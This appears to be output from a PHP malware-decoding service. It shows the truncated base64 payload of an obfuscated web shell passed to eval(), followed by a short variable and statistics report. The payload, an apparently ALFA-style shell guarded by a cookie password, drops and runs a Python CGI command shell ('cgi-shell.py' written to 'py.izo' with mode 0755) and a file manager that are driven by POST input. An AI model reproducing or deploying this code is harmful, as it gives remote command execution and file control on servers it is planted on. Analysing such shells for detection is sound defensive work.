JSHQ5Q2lBZ0lDQm1iM0lnWm1sbGJHUWdhVzRnZG1Gc2RXVnNhWE4wT2dvZ0lDQWcNCklDQWdJR2xtSUc1dmRDQjBhR1ZtYjNKdExtaGhjMTlyWlhrb1ptbGxiR1FwT2dvZ0lDQWdJQ0FnSUNBZ0lDQmtZWFJoVzJacFpXeGsNClhTQTlJRzV2ZEhCeVpYTmxiblFLSUNBZ0lDQWdJQ0JsYkhObE9nb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlBZ2RIbHdaU2gwYUdWbWIzSnQNClcyWnBaV3hrWFNrZ0lUMGdkSGx3WlNoYlhTazZDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmtZWFJoVzJacFpXeGtYU0E5SUhSb1pXWnYNCmNtMWJabWxsYkdSZExuWmhiSFZsQ2lBZ0lDQWdJQ0FnSUNBZ0lHVnNjMlU2Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0IyWVd4MVpYTWcNClBTQnRZWEFvYkdGdFltUmhJSGc2SUhndWRtRnNkV1VzSUhSb1pXWnZjbTFiWm1sbGJHUmRLU0FnSUNBZ0l5QmhiR3h2ZDNNZ1ptOXkNCklHeHBjM1FnZEhsd1pTQjJZV3gxWlhNS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUdSaGRHRmJabWxsYkdSZElEMGdkbUZzZFdWekNpQWcNCklDQnlaWFIxY200Z1pHRjBZUW9LQ25Sb1pXWnZjbTFvWldGa0lEMGdJaUlpUEVoVVRVdytQRWhGUVVRK1BGUkpWRXhGUG1ObmFTMXoNCmFHVnNiQzV3ZVNBdElHRWdRMGRKSUdKNUlFWjFlbnA1YldGdVBDOVVTVlJNUlQ0OEwwaEZRVVErQ2p4Q1QwUlpQanhEUlU1VVJWSSsNCkNqeElNVDVYWld4amIyMWxJSFJ2SUdObmFTMXphR1ZzYkM1d2VTQXRJRHhDVWo1aElGQjVkR2h2YmlCRFIwazhMMGd4UGdvOFFqNDgNClNUNUNlU0JHZFhwNmVXMWhiand2UWo0OEwwaytQRUpTUGdvaUlpSXJabTl1ZEd4cGJtVWdLeUpXWlhKemFXOXVJRG9nSWlBcklIWmwNCmNuTnBiMjV6ZEhKcGJtY2dLeUFpSWlJc0lGSjFibTVwYm1jZ2IyNGdPaUFpSWlJZ0t5QnpkSEptZEdsdFpTZ25KVWs2SlUwZ0pYQXMNCklDVkJJQ1ZrSUNWQ0xDQWxXU2NwS3ljdVBDOURSVTVVUlZJK1BFSlNQaWNLQ25Sb1pXWnZjbTBnUFNBaUlpSThTREkrUlc1MFpYSWcNClEyOXRiV0Z1WkR3dlNESStDanhHVDFKTklFMUZWRWhQUkQxY0lpSWlJaUFySUUxRlZFaFBSQ0FySUNjaUlHRmpkR2x2YmowaUp5QXINCklITmpjbWx3ZEc1aGJXVWdLeUFpSWlKY0lqNEtQR2x1Y0hWMElHNWhiV1U5WTIxa0lIUjVjR1U5ZEdWNGRENDhRbEkrQ2p4cGJuQjENCmRDQjBlWEJsUFhOMVltMXBkQ0IyWVd4MVpUMGlVM1ZpYldsMElqNDhRbEkrQ2p3dlJrOVNUVDQ4UWxJK1BFSlNQaUlpSWdwaWIyUjUNClpXNWtJRDBnSnp3dlFrOUVXVDQ4TDBoVVRVdytKd3BsY25KdmNtMWxjM01nUFNBblBFTkZUbFJGVWo0OFNESStVMjl0WlhSb2FXNW4NCklGZGxiblFnVjNKdmJtYzhMMGd5UGp4Q1VqNDhVRkpGUGljS0NpTWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWoNCkl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNS0l5QnRZV2x1SUdKdlpIa2diMllnZEdobElITmoNCmNtbHdkQW9LYVdZZ1gxOXVZVzFsWDE4Z1BUMGdKMTlmYldGcGJsOWZKem9LSUNBZ0lIQnlhVzUwSUNKRGIyNTBaVzUwTFhSNWNHVTYNCklIUmxlSFF2YUhSdGJDSWdJQ0FnSUNBZ0lDQWpJSFJvYVhNZ2FYTWdkR2hsSUdobFlXUmxjaUIwYnlCMGFHVWdjMlZ5ZG1WeUNpQWcNCklDQndjbWx1ZENBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSXlCemJ5QnBjeUIwYUdseklHSnMNCllXNXJJR3hwYm1VS0lDQWdJR1p2Y20wZ1BTQmpaMmt1Um1sbGJHUlRkRzl5WVdkbEtDa0tJQ0FnSUdSaGRHRWdQU0JuWlhSbWIzSnQNCktGc25ZMjFrSjEwc1ptOXliU2tLSUNBZ0lIUm9aV050WkNBOUlHUmhkR0ZiSjJOdFpDZGRDaUFnSUNCd2NtbHVkQ0IwYUdWbWIzSnQNCmFHVmhaQW9nSUNBZ2NISnBiblFnZEdobFptOXliUW9nSUNBZ2FXWWdkR2hsWTIxa09nb2dJQ0FnSUNBZ0lIQnlhVzUwSUNjOFNGSSsNClBFSlNQanhDVWo0bkNpQWdJQ0FnSUNBZ2NISnBiblFnSnp4Q1BrTnZiVzFoYm1RZ09pQW5MQ0IwYUdWamJXUXNJQ2M4UWxJK1BFSlMNClBpY0tJQ0FnSUNBZ0lDQndjbWx1ZENBblVtVnpkV3gwSURvZ1BFSlNQanhDVWo0bkNpQWdJQ0FnSUNBZ2RISjVPZ29nSUNBZ0lDQWcNCklDQWdJQ0JqYUdsc1pGOXpkR1JwYml3Z1kyaHBiR1JmYzNSa2IzVjBJRDBnYjNNdWNHOXdaVzR5S0hSb1pXTnRaQ2tLSUNBZ0lDQWcNCklDQWdJQ0FnWTJocGJHUmZjM1JrYVc0dVkyeHZjMlVvS1FvZ0lDQWdJQ0FnSUNBZ0lDQnlaWE4xYkhRZ1BTQmphR2xzWkY5emRHUnYNCmRYUXVjbVZoWkNncENpQWdJQ0FnSUNBZ0lDQWdJR05vYVd4a1gzTjBaRzkxZEM1amJHOXpaU2dwQ2lBZ0lDQWdJQ0FnSUNBZ0lIQnkNCmFXNTBJSEpsYzNWc2RDNXlaWEJzWVdObEtDZGNiaWNzSUNjOFFsSStKeWtLQ2lBZ0lDQWdJQ0FnWlhoalpYQjBJRVY0WTJWd2RHbHYNCmJpd2daVG9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0l5QmhiaUJsY25KdmNpQnBiaUJsZUdWamRYUnBibWNnZEdobElHTnYNCmJXMWhibVFLSUNBZ0lDQWdJQ0FnSUNBZ2NISnBiblFnWlhKeWIzSnRaWE56Q2lBZ0lDQWdJQ0FnSUNBZ0lHWWdQU0JUZEhKcGJtZEoNClR5Z3BDaUFnSUNBZ0lDQWdJQ0FnSUhCeWFXNTBYMlY0WXlobWFXeGxQV1lwQ2lBZ0lDQWdJQ0FnSUNBZ0lHRWdQU0JtTG1kbGRIWmgNCmJIVmxLQ2t1YzNCc2FYUnNhVzVsY3lncENpQWdJQ0FnSUNBZ0lDQWdJR1p2Y2lCc2FXNWxJR2x1SUdFNkNpQWdJQ0FnSUNBZ0lDQWcNCklDQWdJQ0J3Y21sdWRDQnNhVzVsQ2dvZ0lDQWdjSEpwYm5RZ1ltOWtlV1Z1WkFvS0NpSWlJZ3BVVDBSUEwwbFRVMVZGVXdvS0NncEQNClNFRk9SMFZNVDBjS0NqQTNMVEEzTFRBMElDQWdJQ0FnSUNCV1pYSnphVzl1SURFdU1DNHdDa0VnZG1WeWVTQmlZWE5wWXlCemVYTjANClpXMGdabTl5SUdWNFpXTjFkR2x1WnlCemFHVnNiQ0JqYjIxdFlXNWtjeTRLU1NCdFlYa2daWGh3WVc1a0lHbDBJR2x1ZEc4Z1lTQncNCmNtOXdaWElnSjJWdWRtbHliMjV0Wlc1MEp5QjNhWFJvSUhObGMzTnBiMjRnY0dWeWMybHpkR1Z1WTJVdUxpNEtJaUlpJzsNCiRzb2xldmlzaWJsZTEgPSBmb3BlbigncHkuaXpvJywndysnKTsNCiRzb2xldmlzaWJsZTIgPSBmd3JpdGUgKCRzb2xldmlzaWJsZTEgLGJhc2U2NF9kZWNvZGUoJHNvbGV2aXNpYmxlMykpOw0KZmNsb3NlKCRzb2xldmlzaWJsZTEpOw0KY2htb2QoJ3B5Lml6bycsMDc1NSk7DQplY2hvICc8aWZyYW1lIHNyYz1jZ2lweS9weS5pem8gd2lkdGg9MTAwJSBoZWlnaHQ9NjAwcHggZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gJzsNCmVjaG8gIjwvZGl2PiI7DQphbGZhZm9vdGVyKCk7DQp9DQppZiggZW1wdHkoJF9QT1NUWydhJ10pICkNCmlmKGlzc2V0KCRkZWZhdWx0X2FjdGlvbikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhbGZhJyAuICRkZWZhdWx0X2FjdGlvbikpDQokX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsNCmVsc2UNCiRfUE9TVFsnYSddID0gJ0ZpbGVzTWFuJzsNCmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWxmYScgLiAkX1BPU1RbJ2EnXSkgKQ0KY2FsbF91c2VyX2Z1bmMoJ2FsZmEnIC4gJF9QT1NUWydhJ10pOw0KZXhpdDsNCj8+"); eval($a);

?>

Function Calls

urldecode 1
base64_decode 1

Variables

$a ?>b'<?php\r\nif(empty($_COOKIE[\'mypass\'])) $_COOKIE[\'mypa..
$_D system_crasher_bro_46_db
$_P base64_decode
$mypass 7b03a373e8080550442296329d0c2e06

Stats

MD5 9c4f4a853fded50437371dda53bff308
Eval Count 1
Decode Time 1785 ms